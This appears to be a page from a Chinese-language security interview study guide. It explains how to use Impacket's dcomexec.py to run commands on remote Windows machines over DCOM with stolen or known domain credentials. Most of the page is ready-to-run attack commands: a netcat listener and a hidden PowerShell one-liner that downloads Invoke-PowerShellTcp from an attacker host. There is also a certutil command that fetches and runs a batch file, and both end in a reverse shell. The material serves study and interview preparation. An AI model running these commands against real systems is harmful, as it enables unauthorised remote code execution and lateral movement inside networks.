Files
Sec-Interview/_book/Chapter15/15-16.md
T
2025-11-08 21:00:06 +08:00

49 lines
1.7 KiB
Markdown

### Dcom 怎么操作
**利用 DCOM 执行命令**
这里我们主要介绍使用 `Impacket` 中的 `dcomexec.py` 工具,因为它非常灵活且功能强大
**基本语法:**
```bash
dcomexec.py <domain>/<username>:<password>@<target_ip> 'command'
```
**示例:**
假设你拥有一个域用户 `testuser` 的密码 `Password123!`,目标机器 IP 是 `192.168.1.100`,你想执行 `whoami` 命令
```bash
dcomexec.py testdomain/testuser:Password123!@192.168.1.100 'whoami'
```
如果成功,你会看到命令的输出
### 利用 DCOM 获取交互式 Shell
仅仅执行单条命令是不够的,通常我们希望获得一个交互式的 Shell。`dcomexec.py` 同样可以做到
**示例:**
使用 `dcomexec.py` 启动一个反弹 Shell 的命令
1. **监听端口:** 在你的攻击机上,用 `netcat` 或其他工具监听一个端口,例如 4444
```bash
nc -lvnp 4444
```
2. **执行命令:** 在目标机器上,利用 DCOM 执行一个 PowerShell 反弹 Shell 的命令。你需要将 `<attacker_ip>` 和 `<port>` 替换为你的实际 IP 和端口
```bash
dcomexec.py testdomain/testuser:Password123!@192.168.1.100 "powershell -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object System.Net.WebClient).DownloadString('http://<attacker_ip>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress <attacker_ip> -Port 4444"
```
或者使用更简单的 `certutil` 下载并执行恶意脚本:
```bash
dcomexec.py testdomain/testuser:Password123!@192.168.1.100 "cmd.exe /c certutil.exe -urlcache -f http://<attacker_ip>/shell.bat && shell.bat"
```
如果成功,你的 `netcat` 监听器上会收到一个反弹回来的 Shell